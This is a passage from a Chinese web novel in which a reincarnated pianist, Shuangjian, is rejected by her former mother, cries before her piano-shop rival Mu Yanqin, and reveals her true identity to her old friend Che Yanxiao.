她着急忙慌下床穿鞋,对霜见道:“早饭在桌上,要是冷了你自己热一下,我还有事要出去一趟。”
“这么急有什么事?”
陈芳妹关掉电扇,趿着拖鞋往外走,“对面开了个卖保健品的店,听他上课就能领鸡蛋,去迟了屁都没有。”
霜见一听忙喊:“外婆,那都是骗人的,你别给人骗了。”
老太太已经打开大门,她扭着脖子对霜见喊:“屁话,我又不傻,有便宜不占王八蛋,我就去领个鸡蛋,想要我花钱门都没有。”
霜见无奈笑出声。
她洗漱完吃过早饭,便出门准备碰碰运气,看能不能见到家里人。
父母住的是别墅区,小区管理严格,没有业主同意是肯定进不去的,思来想去,她准备去母亲董音竹常去的那家美容院等等看。
霜见第一天去没等到人,她也没气馁,一连等了好几天,终于在第四天等来了母亲董音竹和妹妹阮言。
她来了好几天怕惹人多想,便打着遮阳伞站在美容院的马路对面。
当阮言挽着董音竹出现在视线里时,她激动得心都快跳出嗓子眼。
9. 第 9 章
霜见握着伞柄的手不住颤抖,眼底染上泪意,妈妈看上去苍老很多,不是外在而是精气神。
霜见打着伞过了马路,一声妈妈卡在喉咙,想叫却不能叫。
她呼出一口气,调整好表情走到董音竹和阮言身边,柔声道:“董阿姨,我是,”
她想说她是阮诺的学生,只是话说一半,阮言把董音竹拉到一边,附手在她耳边说了什么,董音竹忽然抬手掀开挽着她的阮言。
她提着包就朝霜见砸了过来,目眦欲裂怒骂道:“你还敢过来找我,都怪你,是你害死了我诺诺,要不是你找她给你上课,她怎么会出事?她从来不给人上课的,你个害人精,你怎么不去死,死的为什么是我诺诺?”她说着声泪俱下。
霜见愣住,她完全没有想到她的家人会把自己的死怪在原主身上。
耳边风声猎猎作响,阳光炙热煎烤着她。
她浑身紧绷任由董音竹一下下抽在身上,她感觉不到疼,只觉得肌肤灼热,心底寒凉。
阮言抱住董音竹对霜见喊:“你赶紧走,我妈不想见到你。”
霜见脚底生根般完全挪不动步,看着疯了似的董音竹心脏抽痛,她的精神状态好像更糟糕了。
阮言和美容院工作人员连哄带拽把董音竹拉进了美容院。
很快阮言再次出来,见霜见还没走,对她道:“我知道你也不想,但是我们作为阮诺的家属真的不想见到你。”
霜见垂下眼睫,眼泪在眼眶打转,有苦说不出的憋闷。
“你的出现只会刺激我妈,她在我姐姐去世后一直很不好,就这两年才有所好转,请你不要再来打扰她。”
霜见看着已经长大的妹妹,承受着她冷漠的眼神,鼻尖酸涩难忍。
阮言和原主同岁,比曾经的她小七岁。
她出生那年董音竹迎来了事业上的重大变故。
董音竹曾是一名歌手,在怀阮言时,不知道什么原因嗓子出现了问题,后来又患了产后抑郁症。
在家休整了一年,抑郁症治好了,但声带受损一直无法根治,她的歌唱事业走到了尽头。
之后,她精神出现问题,情绪经常失控。
董音竹一直觉得自己无法继续唱歌是因为怀阮言导致的,再加上她那时的状态确实也不适合照顾婴儿,所以阮言一直是交给家中保姆照料,她很少过问。
董音竹性情不定又不管阮言,爸爸阮亚则工作忙也没时间照顾家里。
只有阮诺一直陪在阮言身边,也只有她会轻言软语哄妹妹,阮言从小最依赖的人就是阮诺这个姐姐。
可随着阮言长大,她发现妈妈对姐姐是不同的,妈妈更看重姐姐也更偏心姐姐。
五年级时她就在阮诺面前表达过不满,她不懂自己比姐姐差在哪,为什么妈妈只对姐姐有要求,对她却放任不管。
阮言羡慕妈妈对姐姐倾注心血,寄予厚望。
但阮诺也羡慕妹妹拥有自由,可以做任何自己想做的事,不受母亲约束。
董音竹在后来的岁月里,几乎把所有心思全放在阮诺一人身上,对她的控制欲极强。
阮诺活了24年,而这短短的24年几乎就是按照董音竹想要的样子走过的。
霜见的遮阳伞早被董音竹打得滚落在地,此刻被风吹着滚远,身上被包砸过的地方开始火辣辣的疼。
阮言瞥见霜见手臂上的红彤彤一片,她说:“我替我妈向你道歉,但是还请你别再来见她了。”
“照顾好她。”霜见哑声道。
阮言离开,一阵风吹过,一片合欢花掉落霜见肩头。
她捏起羽毛般粉色花瓣,如烟似雾缥缈得不真实。
霜见抬头看向头顶合欢树,绿色的枝叶间像是被蝴蝶缀满,它们随风轻舞把霜见思绪拉回曾经家里那棵合欢树下。
小姑娘站在院子里的合欢树下不敢进家门,家里父母亲在争吵,妹妹在哭喊。
父亲阮亚则大学毕业就留校工作,有外公教育局局长的这层关系在,阮亚则的升职之路异常平顺。
从讲师到副教授,再到教授,最后身兼上虞师范大学校长一职,行政教学两头挑。
外人眼里的阮亚则敬业爱家,是个温润谦恭的高知分子。
可董音竹眼里的阮亚则却是虚伪的小人,和旁人眼中的阮亚则完全是两幅面孔。
董音竹从怀阮言起就开始怀疑阮亚则出轨,她各种跟踪寻找蛛丝马迹,却从未找到任何证据,即使这样,也不妨碍她一口咬定阮亚则在外面有女人。
只要阮亚则加班、出差,回到家必定躲不开一场激烈的咒骂。
阮诺就是在这样的环境中长大的,她不知道阮亚则到底有没有出轨。
但在孩子面前,阮亚则情绪是稳定的,他工作繁忙,但每次回家都会一直陪伴她和妹妹。
董音竹砸碗摔门是常有的事,阮诺害怕父母见面,她和别的孩子不同,她经常希望父母离婚,这样她就不用面对无尽的争吵。
阮亚则对她说的最多的一句话就是:妈妈生病了,你别惹她生气,也别生她的气。
所以阮诺从小就知道妈妈脾气不好是因为生病了,对妈妈一直逆来顺受,小意讨好。
她几乎没忤逆过董音竹。
唯有两件事,阮诺没有顺从董音竹的意思,也是她做过的最叛逆的两件事。
一是高三时恋爱。
她记得那天董音竹在她书包里发现情书,顿时大发雷霆质问她。
她根本不知道情书的存在,自然辩解没有早恋,可董音竹不信,一把将她推至门外,让她思过。
阮诺被冤枉很委屈,木木在门外站了一会儿就转身跑了,本想以这种方式报复董音竹,在外游荡到大半夜,最后还是怕她气出好歹,灰头土脸回了家。
回去时家里大人不在,阮言说爸爸妈妈外公出去找她了。
怎么说呢,董音竹爱她这件事,她从没质疑过。
董音竹对她的爱就像是海边砌起的一堵高墙,既挡风浪,也遮风景。
那天晚上董音竹罚她在书房里继续思过。
翌日,董音竹问她知不知道错了,阮诺只承认自己冲动离家出走有错,早恋的事她不认。
董音竹气得把她书包丢出家门,也就是那天楚川送给她一张琴谱,告诉她那首曲子叫《倾诺》,他的心意昭然若揭。
她虽对楚川有好感,但她并没有打算高中恋爱,可那天可能是报复心理作祟,她答应了。
二是和楚川偷
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偷领结婚证。
大四毕业那阵,董音竹让她去参加钢琴之星比赛,这个比赛的前几名能签约经济公司,宣传的是一场公平公正的钢琴比赛。
但阮诺知道都是噱头,实际上就是一场选秀,为了打造才女人设进入娱乐圈。
阮诺爱钢琴,但不想消费钢琴,她愿意参加各种比赛,但不愿参加这种性质的比赛。
董音竹似乎对她进入娱乐圈这件事有执念,很希望她能把她当年丢掉的掌声找回来。
阮诺在这件事上很决绝地拒绝她多次,但董音竹一直不罢休,甚至有要私自给她报名的意思。
阮诺冲动下和楚川领了证。
这种比赛是明确要求必须单身,结了婚将彻底失去参赛资格。
董音竹对她很失望。
她那时在京市读研本就不常见面,回上虞也是和楚川住在小家。
偶尔回父母那边,董音竹对她也一直冷眼相待,直到阮诺死,母女关系依旧很僵。
这是阮诺的遗憾,她想也一定会成为董音竹这一辈子解不开的心结。
董音竹精神状态不好,常年靠药物维持情绪稳定,心态平和。
阮诺虽然受困于她但也心疼她。
董音竹的世界没有快乐,她热爱歌唱事业却无法继续。
阮亚则又总是各种忙碌不常在家,夫妻间全然没了信任。
她从光鲜的舞台跌进了家庭的泥泞,如同蝴蝶困于密网,失去了所有鲜花。
她全部的精神寄托都落在阮诺身上,可她世界里的阮诺已经不在了。
霜见本想和她重新认识,慢慢建立感情,母女连心,即使无法相认,她们应该也能成为忘年交。
可如今她的妈妈视她为仇人。
树叶簌簌作响,手中粉色羽毛在响声中飞远,她颓然转身捡起遮阳伞。
霜见打了辆出租车去了知音。
邢嘉倩在给一对母女介绍钢琴。
霜见最近每天都来练琴,两人已经熟悉。
眼神招呼后,她走进练琴室,在钢琴前坐下,指尖落在琴键上,年少时无数次陪伴她的曲子在指尖流淌。
双眼逐渐模糊,曾经的一切早已物是人非。
密闭的空间里她通过弹奏尽情发泄,本轻快的曲子让她弹出几分悲伤。
忽然,门被人用力推开。
霜见弹琴动作顿住,眼角湿意未散,茫然看去。
就见穆砚钦眸光锐利,唇角压成一条直线,步伐急切朝她走来。
霜见心底陡然涌上惧意,她木然起身,眼睛一瞬不瞬盯着来人。
穆砚钦走至跟前,手掌倏地压在琴键上发出一阵醇厚低音,霜见心跟着颤了颤。
他低头睨着霜见,声音犯冷:“你为什么会弹这首曲子?”
霜见不知道穆砚钦会来,这首《萤火虫》是穆砚钦的妈妈秦书棋写给他的曲子。
当初她和秦书棋学琴,听她弹过一次。
她很喜欢这首曲子,曲子轻盈欢快,自由灵动,她和秦书棋要来琴谱,每当自己心情不好的时候,她就喜欢弹奏这首曲子。
穆砚钦眉头深深拧着,眼里满是探究和审视。
“说,你为什么会弹这首曲子?”
10. 第 10 章
穆砚钦反应很吓人,霜见心脏砰砰直跳。
她屏住呼吸,声音轻颤:“是,是阮诺姐姐教我的。”
穆砚钦直起身,默默打量她。
灯光洒在他脸上,白得骇人。
霜见今天遭受的打击太大不想在这继续煎熬,她不动声色提起身边的包,低眉顺目道:“我还有事就先走了。”
她才走两步,穆砚钦声音响起:“你们怎么认识的?”
霜见步子一滞,他们?和谁?
“你和阮诺怎么认识的?”穆砚钦越过霜见,环胸靠在门上堵住霜见去路。
“我是她学生。”
“她不带学生。”
霜见一噎,他还挺了解自己。
她指骨捏着包带微微泛白,垂眸不敢看穆砚钦,低声道:“但她教过我。”
“是吗?什么时候?在哪?教了你多长时间?”咄咄逼人的语气。
霜见心情本就在谷底,这会被他像犯人一样质问,眼泪不争气落了下来。
穆砚钦没料到他就问了这么两句,这人居然就哭了,心里不由一阵烦躁,皱眉不悦道:“你哭什么?不就是几个问题,很难回答吗?”
霜见低垂眉眼,手背擦拭眼泪,鼻音很重:“就在知音,六年前。”
她倔强看着对面的人,“可以了吗?”
她这么底气十足,反倒衬得穆砚钦像个蛮不讲理的混蛋,他抱臂的手不自在放下,轻咳两声懒散往旁移了两步。
练琴室里很安静,只有霜见轻吸鼻子的声音,穆砚钦听这声音浑身发毛。
“还老师呢,没说两句就哭,就你这样我哪敢把穆遥送去给你教,别琴没教会,净教她怎么哭了。”
霜见本已止住眼泪,听他这么一说,再次抽抽搭搭起来,倒也不是多大声,就是委屈到极点的抽噎。
穆砚钦见她这样差点没站稳,手忙脚乱把门打开往外看了一眼,见邢嘉倩和客人离得远,这才关上门。
明明已经不知所措,生怕人误会他关门欺负一小姑娘,可还是压着声威胁霜见:“喂,你再哭,我真的去退课了啊。”
霜见醒过来这些天一直很压抑,没有布娃娃每晚睡不好。
楚川搬走了,到现在还没见着人,今天又被董音竹那么打骂,心里委屈到了极点。
来自己的琴行弹首曲子又被穆砚钦凶巴巴质问,不对,琴行也已经不是她的了。
现在这人又威胁她要退课,霜见越想越觉得自己太惨,直接捂着脸蹲在地上呜呜哭了起来。
这次真的是大哭,哭声隔着手掌和膝盖传了出来。
穆砚钦瞪着眼睛看着蹲在地上痛哭不止的人,僵硬半天压抑说了句:“我艹。”
练琴室不大,放了一架钢琴就剩四五平的样子,两人一蹲一站离得不远。
一个蹲着双肩轻颤,一个僵硬弓着背看着地上被他笼在阴影下的人发怔。
门突然从外被人打开,邢嘉倩一脸狐疑从外探进脑袋,看见屋内情形视线缓缓从霜见身上移到穆砚钦脸上。
不用说,穆砚钦也读出她眼神里的意思。
“我可没欺负她,不知道抽什么疯。”他弯腰推了推霜见肩膀,“阮霜见,你给我闭嘴。”
穆砚钦是邢嘉倩老板,她不好说老板什么,但心里还是觉得自家老板有些过分,人小姑娘都哭成这样了,他还这么不留情面。
她心里这么想,行动上自然也就不太友善,她走进去挤开站在霜见身边的穆砚钦,蹲在霜见身边轻声问她:“阮小姐,你怎么了?”
霜见听见邢嘉倩声音,泪眼模糊抬起脑袋,看见那张熟悉的脸,也不管自己行为突不突兀,抬手就抱住她,脸埋进她颈窝哭了个痛快。
邢嘉倩也懵了,穆砚钦感觉自己有嘴说不清,怎么委屈成这样了,他又仔细想了遍他进来后说的每句话,没多过分吧。
心里烦躁极了,双手往自己身上摸了一阵,摸出颗薄荷糖,俯下身硬是掰开霜见揽在邢嘉倩脖颈后的手指,霜见被打扰,哭声止住。
他把糖塞进她手里,霜见看着手里的糖,仰头望向他。
穆砚钦正低头看她,他迎着光,长睫下投出一片阴翳,那双丹凤眼里往日嚣张气焰不见,眸光闪烁显出无措。
霜见恍然察觉今天的失态,松开邢嘉倩,缓缓站起身。
她白色裤子膝盖处被泪水浸湿,裤子贴在腿上,她不舒服地跺了跺脚,这才不自在轻咳两声,摩挲着手里的薄荷糖。
小声说:“谢谢,”吸鼻子,“你的糖。”
穆砚钦怕了她了,也不敢再说重话,朝邢嘉倩说:“你带她去洗把脸。”
邢嘉倩搀扶她,想带她去洗手间,霜见未动,手心攥着糖抬眼看向穆砚钦,眼底通红,“对不起。”继续抽泣。
“行了,知道了,快走吧。”像是赶苍蝇。
霜见咬住下唇,委屈巴巴问:“穆,”顿了顿,“砚钦哥,你能别退课吗?”
穆砚钦惊叹她的变脸速度,这会还跟他礼貌上了。
“不退了,我不仅不退,还再报一年的课,您看行吗?阮老师。”
霜见眼睛鼻子都是红的,像只兔子,看上去楚楚动人,让人忍不住心软。
她时不时抽噎一下,“不用这么客气,不退就行。”
“赶紧走吧,我真服了。”
邢嘉倩带着霜见去了洗手间,霜见其实不用人带路,这里的一切她都熟悉,洗完脸,她和邢嘉倩道歉又道谢,让她去忙。
剥开薄荷糖放进嘴里。
一股清凉之意从唇齿间奔向四肢百骸,那些负面的消极情绪被她刚刚的大哭宣泄的差不多,这会又吃到舒爽的薄荷糖,瞬间提神醒脑,心情由雨转阴。
她待在洗手间平复好情绪离开知音,才出门就接到纪琛融的电话,他今天中午有时间想和霜见吃个饭。
霜见想了想,趁这次机会把话说清楚也好,于是答应了。
纪琛融中午时间不多,约在他学校附近的一家小饭馆。
霜见收到他发来的定位时很惊讶,因为这家饭馆位置她也很熟,在明杰高中附近。
明杰高中是楚川父亲创办的私立高中,也是她还有楚川、穆砚钦他们就读的高中。
而她的好朋友车妍笑通过她的关系,本科毕业后进入了明杰高中当音乐老师。
车妍笑是个玄学爱好者,特别喜欢钻研各种玄学命理。
她还有一大爱好,就是上网看各种科学解释不了的奇事。
什么某某地区某个10岁孩童,带着前世记忆到几百公里外的乡村寻找前世子女。
什么某高中生打个羽毛球误入平行世界等等。
她不仅爱看,她还相信,以前霜见觉得傻子都不信的事,只有车妍笑信。
现在嘛,她只想说车妍笑还是太超前了,希望她继续保持以前的睿智。
她重生成另一个人的事如果只能说给一个人听,还要让这个人信,那这人非车妍笑莫属。
霜见赶到饭馆时菜都已经上桌。
“我时间不多,所以就没有等你点菜了。”纪琛融说。
霜见无所谓摇摇头,“没关系。”
她也没什么胃口,本想提分手的,只是想到车妍笑决定暂缓分手计划。
纪琛融约她出来也没什么事,就是单纯想见一面。
两人因为工作原因见面机会很少,纪琛融周日休息,可霜见周六周日最忙,两人很长时间没见,上次见面还是他从外地学习回来送霜见回家匆匆一面。
霜见本就没什么胃口,再加上纪琛融点的菜她都不爱吃,所以筷子基本没怎么动。
纪琛融注意到问她:“这是还
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没好清吗?”
“没事,早好了。”
纪琛融放下筷子,“你是不是还在因为我没陪你去医院生气?我现在还是实习阶段,这种能出去学习的机会难得,你知道的明杰高中不是一般的高中,很难进的。”
看来当时原主生病,是向纪琛融求助过的。
虽然纪琛融当时在邻市学习,但开车回来也就三四个小时的事,想做并不是做不到。
现在的医院对老人并不友好,估计原主也是不想陈芳妹操心,便硬撑着没去医院,不想最后却丢了命。
原主的死是因为阮常梦的不负责,也是因为这个男朋友的不关心。
可现在再说这些已经迟了,她端起面前杯子抿了口说:“我已经没事了。”放下杯子,她状似随意闻道:“对了,你们学校有没有一个音乐老师叫车妍笑?”
纪琛融来明杰高中时间不长,音乐老师跟他也不是一个组,他想了会才点头,“有的,你认识?”
“我一个朋友认识,她们很久没见,托我帮她问一下。”
纪琛融也没多想,岔开话题聊起等暑假带霜见出去旅游的事。
霜见应付着吃完饭,回到聆听。
大家都在上课,虽然每间教室隔音做得很好,但大厅还是有缭缭琴音和吉他声传出。
她现在每天都会到很早,有充足时间认真梳理准备一天的课程,也会抽时间进骆天骄的教室听她上课,汲取经验。
准备充分心里才不慌,上了一段时间课,家长并没有挑她什么刺,霜见的心才渐渐安定下来。
晚上最后一节课穆砚钦带着穆遥过来上课,这也是穆遥第一次正式上课。
等穆遥在钢琴前坐下,霜见笑嘻嘻对她说:“穆遥同学,把手伸出来。”
穆遥以为霜见要送自己什么见面礼,才摊开手,霜见收在背后的手突然伸了过来,她手里拿着个指甲剪。
“咱们上课前先把指甲剪掉。”
穆遥上次来试听课,她就注意到了她的长指甲。
霜见不容穆遥拒绝,一把捉住她的手指,开始给她剪指甲。
穆遥撅起嘴,她这段时间没课,好不容易养出来的指甲,哀求道:“霜见老师~”
霜见不为所动,剪得仔细小心,“钢琴和指甲不能兼得。”
剪好后她又道:“你要想指甲漂亮,下课后我给你涂指甲油,像我这样。”她把自己指甲展示给穆遥看。
她指腹粉润,指甲光秃秃的,每个指甲上都涂上了不同颜色,多巴胺的配色,可可爱爱。
穆遥眼睛一亮,“你这里有指甲油?”
霜见笑眯眯拉开一旁矮柜抽屉,里面躺着一排胖乎乎圆嘟嘟的指甲油瓶子。
她从小学钢琴,生活枯燥,但她喜欢在枯燥中找乐趣,把手指涂成五颜六色就是她的乐趣之一,乐此不疲。
这里的指甲油是她今天中午吃完饭在明杰高中附近的精品店买的,回来第一件事就是给自己把指甲装扮上。
下课后霜见帮穆遥指甲上了色,才涂完穆遥就兴奋推开门跑去找穆砚钦,手指在穆砚钦眼前晃了晃。
“哥,你看,漂亮吗?”
穆砚钦漆黑的瞳孔被她的亮色的指甲晃了下,蓦地抓住穆遥手腕,盯着她的指甲,眼底眸色意味不明。
穆遥以为穆砚钦不喜欢她涂指甲,忙道:“我们学校让涂的,只要不夸张就行。”
“谁帮你涂的?”
“霜见老师,哥,你别怪她,是我喜欢才让她帮我涂的。”
霜见这时从教室出来,她看见穆砚钦想到今天上午自己在他面前哭到失态,手指不自觉在身侧轻搓,略显尴尬。
穆砚钦放开穆遥手腕,盯着霜见五颜六色的指甲失神。
霜见在温声说着穆遥的上课情况,但穆砚钦一句也没听进去。
11. 第 11 章
霜见说了半天才发现穆砚钦的目光一直落在自己手上。
她以为穆砚钦是不高兴自己给穆遥抹指甲油忙解释:“哦,我是下课后给穆遥涂的指甲,没有占用上课时间。”
穆砚钦终于掀眼看她,他那双眼睛不能盯着人看,眼尾上挑很是勾人,看狗都深情的眼睛硬是把霜见看得发毛。
她是问过穆遥知道她现在在上国际学校,学校对涂指甲染发这些很宽松。
可她被穆砚钦盯得还是心下惴惴。
她现在哪像个老师,分明是个犯错的学生,她挪开视线对穆遥道:“我这有卸甲油,遥遥,要不我帮你卸了吧。”
穆遥屈着手指欣赏自己指甲,越看越喜欢,她摇头,“我不卸,这么可爱干嘛要卸。”
穆砚钦站起身,双手插在口袋,踱步走到霜见面前,忽而俯下身盯着霜见的脸看,那眸光近乎侵略地在她面上扫了两个来回。
霜见被他突然的动作弄懵,局促不安瞪着眼回望他,刚想问他要干嘛。
就见穆砚钦唇角突然扯出抹戏谑的弧度,直起身道:“看来阮老师心情恢复如常了,都有心情臭美了。”
霜见就知道上午那茬不会轻松揭过,她弯起眼睛回应:“吃了你给的糖,心情自然变好啦。”
穆砚钦轻嗤了声转身叫穆遥,“穆遥,走了。”
见他不再抓着涂指甲的事不放,霜见松了一口气。
霜见才准备转身回教室,就听见穆砚钦幽幽的声音传来。
“记住了,除了上课,其他时间别去打扰阮老师,不然...”他回头看了眼霜见,“小心她利用课余时间再教你点别的东西。”
穆遥不明所以,有些期待扭头问霜见:“霜见老师,你还会什么?”
霜见汗颜,她还会哭,姑娘,你学吗?
霜见实在佩服穆砚钦阴阳怪气的本事,给他逮到错处,就等着被他量刑示众吧。
这时骆天骄从教室出来,一边把斜跨包往自己肩上套,一边问霜见:“走不走啊?”
骆天骄和霜见家在同一个方向,两人只要下班时间一致都会一起走。
有时霜见会陪着她坐地铁,但大多数时候都是霜见打车带上骆天骄,起初害怕骆天骄不好意思坐。
霜见问她时还小心翼翼,生怕她自尊心强,不好意思免费搭别人的车,如果她非要和霜见分担车费,霜见反倒不好意思。
毕竟霜见家更远,捎上骆天骄只是顺带的事,打车嘛,一个人还是两个人车费都一样。
霜见对骆天骄的印象还停留在高中时期,这么多年过去,她依旧省吃俭用,只想多存钱。
但霜见也怕随着长大她心思会变得敏感脆弱,自己的善意如果变成她的负担,那善意便长了刺。
可经过这段时间相处,霜见发现骆天骄这人很坦荡,爱钱很坦荡,接受别人的好意也很坦荡大方。
霜见看穆砚钦也准备走了,就和骆天骄说:“你等我下,我收拾下东西就走。”
她转身回教室收拾包,再出来时就见穆遥还没走,正和骆天骄在说话,而穆砚钦已经不在大厅里。
穆遥见她出来说:“霜见老师,我家和你们一个方向,你和天骄老师就跟我们车走吧。”
霜见今天不想再麻烦穆砚钦,免得又被他奚落。
“不用,我打车了。”其实她还没来得及打车。
“哎呀,一起吧。”穆遥很热情,她挽着骆天骄胳膊就往外走。
霜见跟在她们身后出了聆听,就看见正在路边讲电话的穆砚钦。
穆砚钦见穆遥出来挂断电话,瞥了眼霜见,对穆遥说:“走吧。”
穆遥走过去抓住穆砚钦胳膊,暗暗使劲,“哥,两位老师和我们一个方向,这么晚了,你就顺带送她们回家吧。”
穆遥是用了力的,穆砚钦随着她手指越嵌越深,不由嘶了声。
霜见算是看出来了,穆砚钦根本就没答应穆遥要带她们。
“遥遥,我打车了,你和你哥先走吧。”
穆遥皱眉看着穆砚钦,叫了声:“哥——”
“我喊你一声姐行吧!”穆砚钦摁了下车钥匙,“麻烦。”
这是同意了,穆遥很高兴,再次邀请霜见和骆天骄上车。
霜见也不好再拒绝,免得拂了穆遥的好意。
骆天骄见穆遥上了副驾,才小声对霜见说:“穆遥他哥是答应带我们了?”
她好像没听见他明确说。
“是...吧。”霜见回。
“穆遥她哥长得是真帅,但脾气好像不太好。”
霜见煞有其事点头,“我们到家下车就行。”
穆遥已经上了车,趁霜见她们还没上车,赶紧跟穆砚钦说:“哥,她们是我老师,你尊重一点我老师好吗?这不是顺路吗,又不是特意让你送,霜见老师人那么好,你别总给她脸色看。”
穆砚钦觉得穆遥被阮霜见下了蛊,要不是他心存善念,非得告诉穆遥:你心目中完美无缺的霜见老师是个哭包。
送完骆天骄,她车子继续前行。
等车平稳停在花语庭府门口,穆遥突然反应过来问:“哥,霜见老师好像没有告诉你她家地址,你怎么知道她家住这的?”
穆砚钦摁下后车门解锁键,“你不懂,会哭的小孩有糖吃。”
什么啊?穆遥没听懂。
霜见听懂了,这是生怕再不阴阳她一下,今天就没机会了。
霜见才不和他这种小肚鸡肠的人计较,笑得清甜:“谢谢砚钦哥今天送我回来。”
又对穆遥道:“路上提醒你哥注意安全,晚安。”
-
周一聆听放假,霜见决定这天去明杰找车妍笑。
她从饭店打包了几道菜来到学校,和门卫说明自己是找纪琛融的,门卫大叔和纪琛融联系确认后放她进校。
她把饭菜给纪琛融送去,办公室里众人起哄揶揄说她送的不是饭而是狗粮。
霜见心虚,她今天的所作所为完全是利用纪琛融,但她没办法,不然根本见不到车妍笑。
她买的菜多,大方让纪琛融同事和他一起吃,和纪琛融说了两句,便离开去找车妍笑。
霜见按照记忆里的路线找到车妍笑的办公室。
车妍笑是音乐老师没有晚自习,正准备下班,霜见直接叫她名字。
她愣愣转身狐疑问霜见:“你认识我?”
霜见点头,“我听阮诺姐提过你。”
听到阮诺的名字车妍笑眉眼间显出伤感
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,“你认识诺诺?”
“认识。”她靠近几步,压低声音道:“她给我托梦了,想让我帮她给你带两句话。”
车妍笑震惊地张大嘴巴。
“我能请你吃饭吗?到时候和你细说。”
果然,车妍笑没有半分质疑,问都没问就点头。
她给家里打了通电话,让家人别等她吃饭。
从她的通话中,霜见听出她有了孩子。
霜见看着她的侧脸,想起前段时间放暑假去学校看她,那时候她还是个活力满满的小姑娘呢,现在看上去成熟了许多,原来是做妈妈了。
一路上霜见没有多说什么,到了她预定的火锅店找到位置坐下,霜见没有问车妍笑想吃什么,直接帮她点了她爱吃的菜。
车妍笑很震惊,霜见对她笑笑又让她稍等,她去帮她调小料。
等霜见端着车妍笑独家小料回来时,她整个人都愣住了,结巴道:“诺诺连我吃火锅爱吃什么小料都告诉你了?这么多年她还没忘呢。”
说着她还感动得红了眼,霜见无语。
见时机成熟,霜见向前探着身子凑近车妍笑,“妍笑,其实这些不是阮诺托梦告诉我的。”
车妍笑擦眼泪的动作顿住,“啊?”
“我说出来你别惊讶,也别害怕,更别尖叫。”
车妍笑已经有点害怕地屁股向后移了移,这会她后知后觉怀疑自己是不是轻信眼前这个小姑娘了。
她戒备问:“你要说什么?”
“我...我和楚川领证的日子还是你给我算的。”
车妍笑瞬间愣住,直直看着霜见。
霜见继续:“我出事前一天晚上你还给我发消息,跟我说第二天不宜出门,不过我不信,所以果然出事了。”
“你...大学时喜欢一个学长,我陪你去表白,结果在钢琴教室碰见他和另一个学长在...”
车妍笑抬手制止霜见接下去的话,“打住!别说了。”
车妍笑咕咚咕咚把面前玻璃杯里的酸梅汤一口气干了。
凌乱惊慌的呼吸终于平复下来,她咽了咽口水,抬手在霜见脸上捏了捏。
霜见白皙的面颊瞬间泛红,霜见拨开她手,“妍笑,我是诺诺,是人,不是鬼。”
她眼睛一瞬不瞬盯着霜见细细打量,片刻后像是自言自语:“确实长得有点像,你投胎都这么大了?这才六年...不应该呀。”
霜见:“......”
霜见把自己从车祸到重生穿越的事说给她听,虽然真的很离谱,但车妍笑没有质疑。
霜见激动得眼泪夺眶而出,车妍笑是第一个,或许也是唯一一个知道她就是阮诺的人,她这样的事说出去不会有人信,除了她。
霜见觉得自己不再孤单,她空落落的心在听见有人叫她诺诺时被填上了些。
车妍笑很高兴,她最好的朋友居然又活了,这种失而复得太过幸福。
她坐到霜见身边抱住她,感受到她的体温,唇角弯起深深弧度,眼泪却像断了线不断落下,笑声伴着眼泪,画风清奇。
霜见抽了张纸帮车妍笑擦泪,正了正神色问她:“妍笑,六年前那场车祸最后调查结果如何?那个司机是什么人?他为什么撞我?”
12. 第 12 章
霜见的话题转得突然,车妍笑还没从亢奋的情绪中抽离出来,闻言当即一愣。
她在霜见求知若渴的眼神中,逐渐找回思绪。
“因为他跑长途疲劳驾驶,差不多两天两夜没合眼,再加上他的车开了太多年,年久失修刹车失灵,导致你们双双坠江。”
霜见有一瞬的茫然,不是蓄意,是意外?
“他也坠江了?”
车妍笑点头,“疲劳驾驶跟酒驾没什么区别,害人害己,他害你不说,自己家也被他害惨了,家里还有个年迈的妈和一个未成年的女儿呢。”
霜见沉默咬住面前吸管,片刻后,她摇摇头,不是意外,一定不是意外。
她直觉不会错,可她和那个司机应该无冤无仇。
霜见猛吸一口酸梅汁,“妍笑,你有那个卡车司机家庭住址吗?”
“你要他家地址干嘛?”
“我想去看看。”
车妍笑把地址发给霜见。
霜见又问:“对了,我们之前一起签过一个眼角膜的捐赠协议,我当时出事,那眼角膜…”
“捐了,董阿姨虽然不太情愿,但最后还是尊重了你的决定,受捐者是个十八岁的小姑娘,先天性角膜营养不良,当时已经基本看不见了,因为你她又能继续看这个世界了。”
霜见怅然,死后她的妈妈终于尊重了一次她的决定。
她从小就被人夸赞眼睛漂亮,那具身体也算在最后贡献了点价值。
两人聊了很多。
她们聊到了知音,当时她出事后,楚川和董音竹她们都不懂钢琴,也都没时间精力去经营这家店,和房东商量了退租事宜。
与其说知音是卖给穆砚钦倒不如说是当时想停业,是穆砚钦挽救了回来,还被他越做越大。
听到这里霜见心底难免有点失落,最后保住她琴行的人竟然是穆砚钦。
她又问家里人情况。
车妍笑一一和她说了。
楚川全家都搬去了国外,他现在在德国的一家航空公司上班,专飞上虞的航线,现在待在国内的时间比较少。
她爸爸阮亚则虽然伤心,但勉强撑得住。
董音竹开始那两年精神状况很糟糕,这两年才稍微好点。
倒是阮言进了娱乐圈,董音竹利用仅存的一点人脉让她参演了几部电视剧,但是没什么名气和水花。
霜见心底稍微好受些,还好她有个妹妹,她如果是独生女,不敢想董音竹往后日子要怎么过。
霜见把才涮好的牛肚搛进车妍笑碗里,“我外公呢?他应该一切都好吧?”
外公是最疼她的,她走了,外公一定大受打击。
车妍笑抿唇不语,看向霜见的眼神让霜见心猛地提起,不好的预感涌上心头。
“我外公他...怎么了?”
车妍笑垂眸看着碗里的牛肚,小声回:“去世了,你死了三个月后就离开了。”
霜见闻言一口气生生堵住,胸腔窒闷,眼泪瞬间滚落。
外公竟然不在了,她不在的这六年发生太多的事。
他老人家身体一直康健,可想而知自己的离开对他老人家打击多大。
生老病死人间常态,这是她很早就知道的道理。
随着自己年岁渐长,外公也慢慢步入老年,这一天她是预想过的,只是没想到最后她是以这种方式遗憾错过外公的最后时光。
霜见压抑的哭声传来。
车妍笑眼底泪光闪烁,轻揽她的肩膀,鼻音很重安慰她:“没受什么罪,睡一觉就没了,应该是太想你,急着去见你。”
可是他下去也见不到自己了。
-
端午节这天聆听放假,霜见起床时陈芳妹已经买完菜回来。
霜见把老太太拉到卫生间,“外婆,我买了染发剂,帮你染头发。”
外公的离世让霜见总想对眼前这个老太太再好一点。
她在网上给陈芳妹买了纯植物的染发剂,更健康一点。
霜见帮她洗头染发,动作轻柔仔细,陈芳妹闭眼享受。
等头发染完,照着镜子左看右看,瘪嘴道:“也没比我染的好哪去。”
嘴巴这样说但她嘴角笑意怎么都压不住。
